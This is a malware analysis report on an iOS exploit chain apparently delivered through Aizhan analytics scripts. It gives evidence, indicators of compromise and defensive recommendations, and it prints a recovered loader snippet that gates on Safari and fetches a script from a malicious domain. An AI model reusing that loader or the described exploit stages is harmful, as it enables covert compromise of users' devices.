Comprehensive Analysis of the iOS Exploit Delivery Chain in Aizhan-Related Page Capture Samples

1. Executive Summary

This batch of samples comprises two iOS browser exploit chains with different styles but linked by the same staging page:

1. Coruna-style legacy chain: in-static.js creates a hidden iframe, loads whisper-bless-coyote.html, then routes to wqz...html or subsequent stages based on the OS version in the UA. Its module distribution protocol, obfuscation structure, and target version range closely match public Coruna reporting.
2. DarkSword-style newer chain: dn...html creates multiple hidden iframes and, via frame.html and b8def...js, orchestrates WebKit Worker, RCE helper stages, and GPU/SBX0 stages. Code structure, file flow, and public DarkSword reporting align closely.

aizhantj_entry_loader.js preserves the raw node96 entry response: static recovery shows that after Safari environment gating it concatenates Base64 segments to build the in-static.js URL and creates a script element to load it. Elements screenshots directly show the hidfr hidden iframe inserted into the Aizhan page DOM. Evidence thus spans “entry raw text—dynamic load—network requests—DOM outcome.”

Capabilities directly demonstrated in the current samples include: hidden delivery, iOS version and device branching, dynamic remote module loading, obfuscation and dynamic execution, WebKit memory corruption exploitation, memory read/write and native function call primitives, system library dlopen/dlsym, GPU process–related sandbox escape stages, failure retry, and status callback.

Public research also documents Coruna/DarkSword family modules for SMS, process injection, Keychain, Wi-Fi, iCloud, wallet, and file exfiltration; those are listed separately under Family capability reference.

1A. Key Entry Evidence and Third-Party Public Records

1A.1 Initiator Load Chain

Two DevTools screenshots show that at the time of investigation the main document washttps://www.aizhan.com/, with the following relationships in Network:

www.aizhan.com
└─ tjjs/?k=vs7mv97haw7
└─ www.ke2gipsa0uzlkhci.net:20110/js/in-static.js (HTTP 200)
└─ www.qiiekxwcuovn.cc:20110/upload/whisper-bless-coyote.html

Figure 1 DevTools Network: Initiator relationship between in-static.js and whisper (layout crop)

Figure 2 DevTools Response: in-static.js hidden iframe code and hard-coded delivery URL

Key visual evidence:

• Initiator for in-static.js is tjjs/?k=vs7mv97haw7:1095;
• Initiator for whisper-bless-coyote.html is in-static.js:1;
• Array obfuscation, hidden iframe, and hard-coded qiie... URL in the Response panel match the uploaded in-static.js;
• Full analytics script URL:https://node96.aizhantj.com:21233/tjjs/?k=vs7mv97haw7.

These screenshots show that “the Aizhan analytics script on the Aizhan page triggered a random-domain loader,” cross-validated with the third-party scan records below.

1A.2 Third-Party Public Scan of Aizhan Homepage

urlscan saved a public scan ofhttps://www.aizhan.com/at 2026-10-18 02:53:41 UTC:

• Scan ID: 01a14ced-b2d6-731c-b483-8406bbc99cb2;
• Public URL:https://urlscan.io/result/01a14ced-b2d6-731c-b483-8406bbc99cb2/
• Page request:https://node96.aizhantj.com:21233/tjjs/?k=ylvbegtukoz;
• Requested by:https://www.aizhan.com/;
• Response hash for that script: d4636a5a5a45efd12a2df4c031bc2fee491c1123c3e529c3535f76a15db7c229.

This record from a third party independently proves that the Aizhan homepage did load the node96.aizhantj.com analytics script during that scan.

A page screenshot from that scan was saved: urlscan_aizhan_20261018.png.

Figure 3 urlscan capture of Aizhan homepage on 2026-10-18

SHA-256 5e2812b8d32fc4aafbd5f5980c1c58e6783e6638c1a71ed574192c3b759b2476

1A.3 Two Independent Scans Directly Link aizhantj to the Same Malicious Loader

Evidence B: 2026-09-29, postal-zip.com

• Scan ID: 01a0ec55-c508-75d1-9be1-f0852502f61b;
• Public URL:https://urlscan.io/result/01a0ec55-c508-75d1-9be1-f0852502f61b/
• Main page load:https://node96.aizhantj.com:21233/tjjs/?k=8wdpsghwt24;
• Requested by for in-static.js is exactly the node96...tjjs URL above;
• Target:https://www.ke2gipsa0uzlkhci.net:20110/js/in-static.js;
• Response hash: 8b537270e67e1da6b3991c4a542061c93b6a6d024c452567ef6de6aee43034a5;
• The same scan also shows a request for www.qiiekxwcuovn.cc:20110/upload/whisper-bless-coyote.html.

Evidence C: 2026-10-01, guochan-zipai.com.cn

• Scan ID: 01a0f913-316f-717e-933d-1ac1a7e4343f;
• Public URL:https://urlscan.io/result/01a0f913-316f-717e-933d-1ac1a7e4343f/
• Main page uses:https://node90.aizhantj.com:21233/tjjs/?k=q59jrjf2dvs;
• Requested by for in-static.js is exactly the node90...tjjs URL above;
• Response hash remains: 8b537270e67e1da6b3991c4a542061c93b6a6d024c452567ef6de6aee43034a5;
• In the same scan, whisper...html returned HTTP 200 and continued loading subsequent HTML/JS.

Evidence D: The locally held sample hash matches byte-for-byte; the uploaded in-static.js SHA-256 is likewise:

• 8b537270e67e1da6b3991c4a542061c93b6a6d024c452567ef6de6aee43034a5

Two third-party scans at different times, different entry sites, and different aizhantj nodes match this report’s sample at the byte-hash level.

This supports the following technical conclusion: the aizhantj analytics infrastructure delivered the same hidden iframe loader to browsers across multiple independent sites and time points; that loader then connected to an iOS exploit chain on random domains.

That conclusion points directly to actual delivery behavior by the analytics service and is supported jointly by local screenshots, static files, and third-party records.

1A.4 Core Evidence Conclusions

Public release title:

Aizhan analytics–related scripts observed delivering an iOS exploit chain: multi-site third-party scans and hash cross-validation

1A.5 Node Verification and Wayback Records

On 2026-10-26, HEAD verification (body not read) was performed against:

https://node96.aizhantj.com:21233/tjjs/?k=vs7mv97haw7

Verification returned HTTP 200, Content-Type: application/javascript; charset=utf-8, Access-Control-Allow-Origin:

*, plus EO-LOG-UUID and EO-Cache-Status: MISS, recording that the endpoint still responded at verification time.

All three Wayback homepage snapshots from 2026-10-17 were verified accessible and preserve historical views of the Aizhan homepage. urlscan records preserve request origin, full URL, time, response hash, and partial response headers, providing independent temporal and content anchors for dynamic JavaScript delivery.

See 1B.4.

1B. Entry Raw Text, DOM, and Screenshot Evidence

1B.1 node96 Entry Response Raw Text

Entry response file: aizhantj_entry_loader.js
Size: 12485 bytes
SHA-256:ac0fd3253acf3c570c61dc75574f70890ffb7dcae530c2df46e0fd2206a2819b
Source: User-stated response fromhttps://node96.aizhantj.com:21233/tjjs/?k=vs7mv97haw7

aizhantj_entry_loader (1).js is byte-identical and treated as a duplicate, not counted twice. This sample corresponds to the load code near line 1095 of tjjs/?k=vs7mv97haw7 in DevTools Sources/Response.

The entry tail includes environment gating. After isolating and recovering the pure decode function, key strings are navigator, safari, includes, chrome, edg, and src. Logic can be summarized as:

ua = window.navigator.userAgent.toLowerCase();
isSafariLike = !!window.safari || ( ua.includes('safari') && !ua.includes('chrome') && !ua.includes('android') && !ua.includes('edg')
);
if (!isSafariLike) return;

This shows the entry performs Safari environment filtering first; precise iOS version branching happens in later whisper and b8def stages. This gating is consistent with desktop Chrome scans that only retrieved the analytics script, indicating conditional follow-on loading.

After passing the gate, the script effectively executes:

var s = document.createElement(window.atob('c2NyaXB0')); // script
s.crossOrigin = 'anonymous';
var eee = 'aHR0cHM6Ly' + '93d3cua2Uy' + 'Z2lwc2EwdX' + 'psa2hjaS5u' + 'ZXQ6MjAxMT' + 'AvanMvaW4t' + 'c3RhdGljLm' + 'pz';
s.src = window.atob(eee);
document.head.appendChild(s);

Base64 concatenation and decoded result:

aHR0cHM6Ly93d3cua2UyZ2lwc2EwdXpsa2hjaS5uZXQ6MjAxMTAvanMvaW4tc3RhdGljLmpz
https://www.ke2gipsa0uzlkhci.net:20110/js/in-static.js

Local evidence therefore forms the chain:

node96 entry response raw text
→ Safari environment gate
→ Base64 decode to in-static.js URL
→ document.head.appendChild(script)
→ Network: in-static.js, Initiator tjjs/?k=vs7mv97haw7:1095
→ in-static.js Response: creates hidfr hidden iframe
→ Elements: hidfr iframe present in Aizhan page DOM

1B.2 Screenshot Evidence Roles

Among 11 screenshots with several similar views, the body uses six complementary views; full files are hash-registered in 1B.5:

Figure 4 Network overview: analytics node, in-static.js, and whisper requests together

Figure 5 Initiator stack: in-static.js points to tjjs/?k=vs7mv97haw7:1095

Figure 6 Sources: Base64 concatenation and dynamic script load in node96 response (layout crop)

Figure 7 Response: node96 appends obfuscated loader after existing fingerprint code

Figure 8 Elements: iframe#hidfr inserted into Aizhan page DOM, 0×0 and off-screen hidden (layout crop)

Figure 9 Response: in-static.js array obfuscation, hidden iframe, and hard-coded whisper URL

The Elements DOM screenshot directly shows runtime outcome: the hidden iframe is part of the Aizhan page document structure.

1B.3 Version Branching

Samples include branches for multiple iOS versions; the newest branch covers iOS 18.6 and above.

1B.4 Wayback Homepage Public Records

The following three exact Wayback snapshots were verified accessible:

https://web.archive.org/web/20261017130119/https://www.aizhan.com/

https://web.archive.org/web/20261017153553/https://www.aizhan.com/

https://web.archive.org/web/20261017180952/https://www.aizhan.com/

These snapshots preserve the Aizhan homepage and title for historical comparison.

1B.5 Complete Material Hash Registry

2. Evidence Structure

This report’s evidence comprises three parts:

Code and file evidence: entry response, follow-on HTML/JS, static decode results, module reference relationships, and SHA-256;

Browser evidence: Network, Initiator, Sources, Response, and Elements DOM screenshots;

Third-party public records: urlscan request origin, response hash, timestamps, and Wayback homepage historical snapshots.

The three material types align on the same load chain, forming the analytical basis from analytics script entry through hidden iframe, version branching, and subsequent exploit stages.

3. Sample Inventory and Hashes

Duplicate file note: aizhantj_entry_loader (1).js matches aizhantj_entry_loader.js; b8def7dab9dd9ad8 (1).js matches b8def7dab9dd9ad8.js; wqzoh99dbjy3egb990i9 (1).html matches the previously uploaded wqzoh99dbjy3egb990i9.html.

4. Delivery and Version Branching

4.1 First-Stage Hidden Load

in-static.js creates a 0×0 iframe with id hidfr, sets pointerEvents:none, moves it off-screen to the left, and loads:

hxxps://www[.]qiiekxwcuovn[.]cc:20110/upload/whisper-bless-coyote.html

That file’s main role is to covertly introduce the next layer.

4.2 whisper Version Boundary

whisper-bless-coyote.html selects branches with logic such as:

• iOS 17.2.1 and below: wqzoh99dbjy3egb990i9.html;
• iOS 17.2.2 and above, including iOS 18: dn_hdi7utlyc3q4k8jn.html;
• When UA does not match OS x_y: defaults to wqz branch.

It is therefore not strict iOS device identification; desktop, Android, or spoofed UAs missing the relevant fields also enter the legacy chain.

The page also implements:

• Math.random() cache busting;
• sessionStorage.rce_locked check;
• Hidden 1×1 iframe;
• On dn branch, refresh every 300 seconds.

rce_locked is author-side state naming reflecting state-control design in the load flow.

4.3 dn Multi-Frame Orchestration

dn_hdi7utlyc3q4k8jn.html behavior includes:

• Inject a8c3f01e6b47d295.js for iPhone/iPad/iPod UA;
• When major version > 0 and < 18, load 49554fde7424c31c.js;
• Otherwise enter frame.html multi-frame exploit flow;
• Create up to 5 iframes, 35 seconds apart;
• Use uid to limit repeat attempts within 60 seconds;
• Manage state with _x_done, rce_locked, rapid_load_count, sbx0_reload_count;
• force=1 can clear partial state;
• After 45 seconds, navigate to about:blank or refresh based on lock state.

frame.html then loads b8def7dab9dd9ad8.js and sets a 30-second watchdog refresh.

5. Coruna-Style Legacy Chain

5.1 Family Assessment

wqz...html and 49554...js both exhibit:

• Base64-embedded utility modules;
• Custom UTF-16/byte decoding;
• new Function() dynamic execution;
• 40-character module IDs;
• Remote module filenames derived from salt and SHA-256;
• Module selection by platform, UA, and internal state;
• Status callback via ?e=0/1000/1001/1003.

This protocol matches public Coruna analysis of SHA256(salt + module_id) first-40-hex-character distribution. Both loaders’ embedded utility modules export 48 identically named properties; constants, obfuscation rounds, core filenames, and module IDs differ—consistent with same framework, different builds/configurations.

Family assessment: high-confidence Coruna-style chain or derivative build.

5.2 Salt, Core Files, and Initialization Config

Filename algorithm:

SHA256(salt + 40-char module ID) → first 40 hex characters → append .js

These 16-character salts are used for module URL derivation.

Both loaders also pass the following 32-byte initialization config:

wqz:
98479350207cd0b594df0edde2ff91e85dcf0a4cfdd2e34c5e2e3000b2490fd7
49554:
b38fd1ccd6570d8b3ce8edabd740e60d97e93a44fb27b35f2c54c473a37ce676

6. DarkSword-Style New Chain

6.1 Controller and Worker Selection

b8def7dab9dd9ad8.js reads iPhone OS version from UA:

iOS 18.6 and above: load e1105852cab6ef49.js, RCE helper file 455b474ef0843d25.js;

Other versions entering this controller: load 8150b44e89f06890.js, RCE helper file a13e3e4525e28ff8.js.

Code comments label CVE-2025-43529 and CVE-2025-31277 respectively; code structure presents corresponding WebKit exploit stages.

The controller also implements:

• OffscreenCanvas with createImageBitmap Worker coordination;
• prepare_dlopen_workers, trigger_dlopen1/2;
• sign_pointers, slow_fcall;
• rce_failed, sbx0_failed retry;
• Up to 4 rapid loads and 3 SBX0 reload gates;
• eval() execution of RCE helper code;
• Pass device, version, offsets, address slide, chip, and host info to Worker.

6.2 WebKit and Native Call Stages

e110...js, 8150...js, and a13...js contain:

addrof, fakeobj, out-of-bounds arrays and object overlap;

Memory primitives such as read32/read64/write64;

BigInt, Float64, Uint32, and DataView bit-level conversion;

PAC-related signing and call helpers;

dlopen/dlsym and native function calls;

Large offset tables differentiated by iPhone model and iOS build.

Offset coverage:

• 717...js: 156 configs covering 22E240, 22E252, 22F76, 22G86, 22G90, 22G100, 26 device configs each;
• e110...js: mainly 22G86/22G90/22G100, plus one 22B91 config;
• a13...js: 26 configs for 22F76.

8150...js also calls getpid(), getuid(), and uname() to verify native calls work.

6.3 GPU/SBX0 Stage

717d3ef037488de5.js contains extensive WebGL, GPU IPC, RemoteRenderingBackend, RemoteGraphicsContextGL, texture and buffer operations, and implements:

• GPU-side read/write and function calls;
• GPU process connection management and retry after crash;
• Mach message/port-related structures;
• gpu_fcall, gpu_dlsym, PAC helpers;
• After SBX0 completion, load /e698499e769d1643.js as SBX1.

Structure closely matches public CVE-2025-14174/ANGLE GPU sandbox escape reporting.

6.4 Relationship to Public DarkSword

Public research describes DarkSword flow as: malicious iframe → WebKit RCE → SBX0/SBX1 → mediaplaybackd → kernel privilege escalation → pe_main.js → system process injection and data theft.

This batch’s iframe, rce_loader-style control, 18.4/18.6 Worker split, SBX0/SBX1 file flow, and extensive log style align closely. It can therefore be described as:

DarkSword-style exploit chain or derivative deployment.

7. Encryption, Keys, and Integrity Mechanisms

7.1 AES-CTR Interface

e1105852cab6ef49.js includes optional L1 encrypted resource load logic:

• _enc_S: session identifier;
• _enc_K: key bytes from hex _enc_key;
• _enc_hashes: logical filename to resource hash map;
• _enc_checksums: SHA-256 checksum of decrypted text;
• Request path: /res/<session>/<resource hash>;
• Decrypt via: aesCtrDecrypt(ciphertext, _enc_K);
• SHA-256 integrity verification after decrypt.

7.2 Other Encoded Values

a8c3...js uses single-byte XOR 66 to recover POST and pathh|. This is simple string obfuscation.

8. Public Family Post-Exploitation Capability Reference

Public Coruna reporting lists the following post-exploitation modules:

• sms.js injects imagent, associated with libSMSBroadcast.dylib;
• Modules targeting wallet, WhatsApp, and other apps;
• Sensitive data via process injection and function hooking.

Public DarkSword reporting describes full-chain capabilities:

• pe_main.js as post-exploitation orchestrator;
• JavaScript injection into SpringBoard, configd, wifid, securityd, UserEventAgent, and other processes;
• Collection of Keychain, Wi-Fi, iCloud, mail, photos, files, and cryptocurrency wallet data;
• Exfiltration via SpringBoard-side modules and cleanup of staging data.

These public sources provide reference for Coruna/DarkSword family design goals and potential impact.

9. Private Beacon Behavior

a8c3f01e6b47d295.js runs only under iPhone/iPad/iPod UA and sends Beacon or POST to:

http://192.168.3.6:60880/h|

Body:

{"k":1,"n":"<current page hostname>"}

192.168.3.6 is an RFC1918 private address; under qualifying UA the code sends the current page hostname to a local-network target. Code also includes Chinese comments, SBX0-PROBE, native call verification, and debug logs.

10. IOC

10.1 High-Value Domains and Paths

www[.]ke2gipsa0uzlkhci[.]net
www[.]qiiekxwcuovn[.]cc
9fc981ee[.]iosedgedns[.]com
g1ab180[.]cdn[.]iosedgedns[.]com
/js/in-static.js
/upload/whisper-bless-coyote.html
/upload/wqzoh99dbjy3egb990i9.html
/upload/dn_hdi7utlyc3q4k8jn.html
/frame.html
/b8def7dab9dd9ad8.js
/49554fde7424c31c.js
/a8c3f01e6b47d295.js
/e1105852cab6ef49.js
/8150b44e89f06890.js
/a13e3e4525e28ff8.js
/717d3ef037488de5.js
/e698499e769d1643.js
/455b474ef0843d25.js
/log.html
/res/

10.2 Coruna-Style Core Resources

eda6b27837def0e171b54ae686a619
36ba970e44.min.js
7a7d99099b035b2c6512b6ebeeea6d
f1ede70fbb.min.js
61eb48cb84d7954eaa3a7d62fcee3b24
ba0d2a97.js
408020a4b87712de45a4a92c359f139c
295d5069.js

The last two are algorithmically derived module filenames.

10.3 State and Storage Artifacts

?e=0
?e=1000
?e=1001
?e=1003
sessionStorage:rce_locked
sessionStorage:rapid_load_count
sessionStorage:sbx0_reload_count
sessionStorage:uid
localStorage:_x_done

10.4 IOC Usage Notes

• Prefer blocking and alerting on random domains, full paths, and file hashes.
• Shared or CDN IPs such as 118.89.62.178 and 140.143.134.59 require assessment alongside co-hosted legitimate services.
• 192.168.3.6:60880 is a private-network beacon target.
• iosedgedns.com and its nodes can be investigation leads for shared orchestration.

11. MITRE ATT&CK Mapping

12. Detection and Response Recommendations

1. Endpoint updates: Prioritize the latest Apple-supported OS. CVE-2025-31277 fixed in iOS 18.6; CVE-2025-43529 and CVE-2025-14174 fixed in iOS 18.7.3/26.2 and related releases. The full DarkSword chain involves multiple follow-on flaws—install all relevant security updates Apple provides.
2. High-risk users: Consider Lockdown Mode after compatibility assessment; if a full chain may have succeeded, after update and isolation assess credentials, sessions, and wallet risk for important accounts.
3. Network hunting: Search for the random domains, filenames, /res/, ?e= status codes, and JS requests with random query parameters above.
4. Endpoint logs: Watch for repeated com.apple.WebKit.WebContent and com.apple.WebKit.GPU crashes in short windows; correlate with network requests in the same window for higher confidence.
5. Evidence preservation: Save raw HAR, DNS, TLS, response headers, response body hashes, and capture time alongside curated analysis files.
6. Source review: Inspect Aizhan analytics script references, page injection, cache, third-party supply chain, and network middleboxes to distinguish main-site injection, compromised third-party analytics, and local/network-layer interception.
7. Block policy: Prefer domain, full path, and file hash; treat shared IP and CDN with care.

13. Public Reporting Summary

From September through October 2026, multiple third-party urlscan public records show node96.aizhantj.com, node90.aizhantj.com, and other analytics nodes loading the same in-static.js during visits to different websites. That file’s SHA-256 was identical across time, entry sites, and analytics nodes, matching this analysis sample and providing independently verifiable temporal and content anchors for delivery behavior.

Packet capture material from Aizhan-related pages further presents local evidence for this load chain: the node96 entry response first applies Safari environment filtering, then Base64 concatenation to build the in-static.js URL on a random domain and dynamically inserts a script element; Network Initiator, Response, and Elements DOM screenshots record script origin, hidden iframe code, and the iframe inserted into the live page. Another public scan on 2026-10-18 also recorded the Aizhan homepage calling the node96.aizhantj.com analytics script.

Static analysis of follow-on files shows in-static.js introduces whisper-bless-coyote.html via a hidden iframe, then branches by UA and iOS version. Samples include dynamic remote module loading, WebKit memory corruption exploitation, memory read/write and native call primitives, and GPU/SBX0 sandbox escape stages, overall presenting Coruna and DarkSword-style iOS exploit chain characteristics.

This report also publishes related domains, paths, file hashes, scan records, and detection leads as technical reference for site operators reviewing third-party analytics scripts, node configuration, and supply chain integrity.

14. External References

1. Apple: iOS 18.6 / iPadOS 18.6 security content (CVE-2025-31277)
   https://support.apple.com/en-us/124147
2. Apple: iOS 18.7.3 / iPadOS 18.7.3 security content (CVE-2025-43529, CVE-2025-14174)
   https://support.apple.com/en-us/125885
3. iVerify: DarkSword full chain and post-exploitation behavior
   https://www.iverify.com/blog/darksword-ios-exploit-kit-explained
4. Lookout: DarkSword capabilities and process injection overview
   https://www.lookout.com/threat-intelligence/article/darksword
5. iVerify: Coruna components, SMS and app modules
   https://www.iverify.com/blog/coruna-inside-the-nation-state-grade-ios-exploit-kit-we-ve-been-tracking
6. Coruna module distribution protocol analysis
   https://cside.com/blog/inside-coruna-web-script-ios-exploit
7. urlscan: Aizhan homepage, 2026-10-18
   https://urlscan.io/result/01a14ced-b2d6-731c-b483-8406bbc99cb2/
8. urlscan: node96 → same-hash in-static.js, 2026-09-29
   https://urlscan.io/result/01a0ec55-c508-75d1-9be1-f0852502f61b/
9. urlscan: node90 → same-hash in-static.js, 2026-10-01
   https://urlscan.io/result/01a0f913-316f-717e-933d-1ac1a7e4343f/
10. Wayback: Aizhan homepage, 2026-10-17 13:01:19
    https://web.archive.org/web/20261017130119/https://www.aizhan.com/
11. Wayback: Aizhan homepage, 2026-10-17 15:35:53
    https://web.archive.org/web/20261017153553/https://www.aizhan.com/
12. Wayback: Aizhan homepage, 2026-10-17 18:09:52
    https://web.archive.org/web/20261017180952/https://www.aizhan.com/

Final conclusion: node96 entry response raw text, Base64 static recovery, Network Initiator, Response, Elements DOM, local sample hashes, and two third-party delivery records are sufficient to support the technical conclusion that aizhantj analytics–related scripts delivered a high-risk iOS exploit loader and that the Aizhan page at investigation time entered the same load chain. Public scans also indicate the issue may affect multiple sites using that analytics service; node and supply chain integrity should be reviewed promptly.